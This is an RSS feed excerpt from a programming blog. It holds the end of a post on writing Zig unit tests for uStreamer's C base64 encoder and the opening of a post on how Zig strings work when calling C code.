&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;output: {s}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{output});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;output size: {d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{output.len});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>input: hello, world!
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output: &lt;span style="color:#40ffff">aGVsbG8sIHdvcmxkIQ&lt;/span>==
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output size: &lt;span style="color:#3677a9">20&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The output size is now &lt;code>20&lt;/code> instead of &lt;code>21&lt;/code> because the underlying data type changed. Previously, I was printing the output size parameter that &lt;code>us_base64_encode&lt;/code> populated, which included the null terminator. Now, I&amp;rsquo;m using the &lt;code>.len&lt;/code> property of the output string, which does not include the null terminator.&lt;/p>
&lt;p>The complete example at this stage &lt;a href="https://github.com/tiny-pilot/ustreamer/tree/zig-20-wrapper-fn">is on GitHub&lt;/a>.&lt;/p>
&lt;h2 id="creating-the-first-unit-test">Creating the first unit test&lt;/h2>
&lt;p>Now that I can call the C &lt;code>us_base64_encode&lt;/code> function through a convenient Zig wrapper, I&amp;rsquo;m ready to start writing unit tests to verify that the C implementation is correct.&lt;/p>
&lt;p>The first thing I need to do is make a couple of small adjustments to my &lt;code>build.zig&lt;/code> file so that the unit tests can access libc and uStreamer&amp;rsquo;s C source files:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// build.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>unit_tests&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>b.&lt;span style="color:#447fcf">addTest&lt;/span>(.{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.root_source_file&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>.path&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;src/main.zig&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>},&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.target&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>target,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.optimize&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>optimize,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>unit_tests.&lt;span style="color:#447fcf">linkLibC&lt;/span>();&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Link against libc.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>unit_tests.&lt;span style="color:#447fcf">addIncludePath&lt;/span>(.{&lt;span style="color:#666"> &lt;/span>.path&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;src&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Search src path for includes.
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;ve already done the heavy lifting here by writing my Zig wrapper function, so writing my first unit test is straightforward:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">test&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;encode simple string as base64&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.testing.allocator;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>actual&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">base64Encode&lt;/span>(allocator,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">free&lt;/span>(actual);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>std.testing.&lt;span style="color:#447fcf">expectEqualStrings&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;aGVsbG8sIHdvcmxkIQ==&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>actual);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>zig build test&lt;/code> command runs my unit test:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build &lt;span style="color:#24909d">test&lt;/span> --summary all
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Build Summary: 3/3 steps succeeded; 1/1 tests passed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">test&lt;/span> success
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>└─ run &lt;span style="color:#24909d">test&lt;/span> &lt;span style="color:#3677a9">1&lt;/span> passed 1ms MaxRSS:1M
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> └─ zig &lt;span style="color:#24909d">test&lt;/span> Debug native success 2s MaxRSS:211M
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Success! My first unit test is working and exercising the C code.&lt;/p>
&lt;p>The complete example at this stage &lt;a href="https://github.com/tiny-pilot/ustreamer/tree/zig-30-unit-test">is on GitHub&lt;/a>.&lt;/p>
&lt;h2 id="checking-for-false-positive-test-results">Checking for false positive test results&lt;/h2>
&lt;p>My unit test is succeeding, but I want to ensure that the test is truly executing the C code and not just returning a false positive. I can verify this by intentionally introducing a bug into the C code.&lt;/p>
&lt;p>This is a snippet from the implementation of &lt;a href="https://github.com/pikvm/ustreamer/blob/v5.45/src/libs/base64.c">&lt;code>base64.c&lt;/code>&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold"># define OCTET(_name) unsigned _name = (data_index &amp;lt; size ? (uint8_t)data[data_index++] : 0)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span> &lt;span style="color:#447fcf">OCTET&lt;/span>(octet_a);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">OCTET&lt;/span>(octet_b);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">OCTET&lt;/span>(octet_c);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold"># undef OCTET
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let me try swapping the order of these two lines:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">OCTET&lt;/span>(octet_a);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">OCTET&lt;/span>(octet_c); &lt;span style="color:#999;font-style:italic">// I&amp;#39;ve swapped these
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#447fcf">OCTET&lt;/span>(octet_b); &lt;span style="color:#999;font-style:italic">// two lines.
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And here&amp;rsquo;s what happens when I try re-running my unit test on the C function after my tampering:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build &lt;span style="color:#24909d">test&lt;/span> --summary all
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>run test: error: &lt;span style="color:#ed9d13">&amp;#39;test.encode simple string as base64&amp;#39;&lt;/span> failed: ====== expected this output: =========
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">aGVsbG8sIHdvcmxkIQ&lt;/span>==␃
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>======== instead found this: =========
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">aGxlbCxvIG93cmRsIQ&lt;/span>==␃
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool, the test works!&lt;/p>
&lt;p>When I introduced a bug into &lt;code>us_base64_encode&lt;/code>, my test failed and revealed the bug.&lt;/p>
&lt;h2 id="adding-multiple-unit-tests">Adding multiple unit tests&lt;/h2>
&lt;p>I&amp;rsquo;d like to extend my single test case into many test cases to increase my confidence that I&amp;rsquo;m exercising more of the C function&amp;rsquo;s logic.&lt;/p>
&lt;p>Half of the lines in my first unit test were boilerplate around managing memory, so I&amp;rsquo;d like to avoid repeating that for each test. I wrote a utility function to capture the boilerplate:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>input:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>expected:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>)&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.testing.allocator;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>actual&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">base64Encode&lt;/span>(allocator,&lt;span style="color:#666"> &lt;/span>input);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">free&lt;/span>(actual);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>std.testing.&lt;span style="color:#447fcf">expectEqualStrings&lt;/span>(expected,&lt;span style="color:#666"> &lt;/span>actual);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>My test utility function allows me to add new tests easily:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">test&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;encode strings as base64&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;h&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;aA==&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;he&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;aGU=&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;hel&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;aGVs&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;hell&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;aGVsbA==&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;aGVsbG8sIHdvcmxkIQ==&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">test&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;encode raw bytes as base64&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&amp;amp;[_]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#3677a9">0&lt;/span>},&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;AA==&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&amp;amp;[_]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>&lt;span style="color:#666"> &lt;/span>},&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;AAA=&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&amp;amp;[_]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>&lt;span style="color:#666"> &lt;/span>},&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;AAAA&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&amp;amp;[_]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#3677a9">255&lt;/span>},&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;/w==&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&amp;amp;[_]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">255&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">255&lt;/span>&lt;span style="color:#666"> &lt;/span>},&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;//8=&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testBase64Encode&lt;/span>(&amp;amp;[_]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">255&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">255&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">255&lt;/span>&lt;span style="color:#666"> &lt;/span>},&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;////&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build &lt;span style="color:#24909d">test&lt;/span> --summary all
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Build Summary: 3/3 steps succeeded; 2/2 tests passed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">test&lt;/span> success
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>└─ run &lt;span style="color:#24909d">test&lt;/span> &lt;span style="color:#3677a9">2&lt;/span> passed 2ms MaxRSS:2M
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> └─ zig &lt;span style="color:#24909d">test&lt;/span> Debug native success 2s MaxRSS:195M
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The complete example at this stage &lt;a href="https://github.com/tiny-pilot/ustreamer/tree/zig-40-multi-test">is on GitHub&lt;/a>.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;p>Because of Zig&amp;rsquo;s excellent interoperability with C, it&amp;rsquo;s possible to add unit tests to an existing C application without modifying any of the C code or build process.&lt;/p>
&lt;p>In the example I showed, the C code doesn&amp;rsquo;t know about Zig at all, and it continues to work as-is with no changes to its existing &lt;code>Makefile&lt;/code>.&lt;/p>
&lt;p>I found this exercise a useful way of learning more about both the Zig language and the C code I&amp;rsquo;m testing.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Thanks to the Ziggit community for &lt;a href="https://ziggit.dev/t/improving-on-c-u8-when-calling-a-c-function-that-allocates-a-string/2489?u=mtlynch">their help with this blog post&lt;/a>. Excerpts from uStreamer are used under &lt;a href="https://github.com/pikvm/ustreamer/blob/v5.45/LICENSE">the GPLv3 license&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Using Zig to Call C Code: Strings</title><link>https://mtlynch.io/notes/zig-strings-call-c-code/</link><pubDate>Fri, 15 Dec 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/zig-strings-call-c-code/</guid><description>&lt;p>&lt;a href="https://ziglang.org/">Zig&lt;/a> is a new, open-source programming language designed to replace C. I&amp;rsquo;m still a Zig beginner, so I&amp;rsquo;m trying to learn the language by using Zig to rewrite parts of existing C applications.&lt;/p>
&lt;p>One of the first challenges I encountered with Zig is understanding strings. I couldn&amp;rsquo;t find detailed documentation about how Zig strings work when calling C code, so I&amp;rsquo;m sharing my findings in case they&amp;rsquo;re helpful to others who want to use Zig to call C.&lt;/p></description><content:encoded>&lt;p>&lt;a href="https://ziglang.org/">Zig&lt;/a> is a new, open-source programming language designed to replace C. I&amp;rsquo;m still a Zig beginner, so I&amp;rsquo;m trying to learn the language by using Zig to rewrite parts of existing C applications.&lt;/p>
&lt;p>One of the first challenges I encountered with Zig is understanding strings. I couldn&amp;rsquo;t find detailed documentation about how Zig strings work when calling C code, so I&amp;rsquo;m sharing my findings in case they&amp;rsquo;re helpful to others who want to use Zig to call C.&lt;/p>
&lt;h2 id="a-brief-primer-on-c-strings">A brief primer on C strings&lt;/h2>
&lt;p>Before I explain how to pass Zig strings into C code, I&amp;rsquo;ll provide some background on how strings work in C.&lt;/p>
&lt;p>In C, a string has a type of &lt;code>char*&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span>* example = &lt;span style="color:#ed9d13">&amp;#34;Hi, I&amp;#39;m a C string!&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>A C string is just a sequence of characters. A type &lt;code>char*&lt;/code> means the variable stores the memory address of the first character in that sequence.&lt;/p>
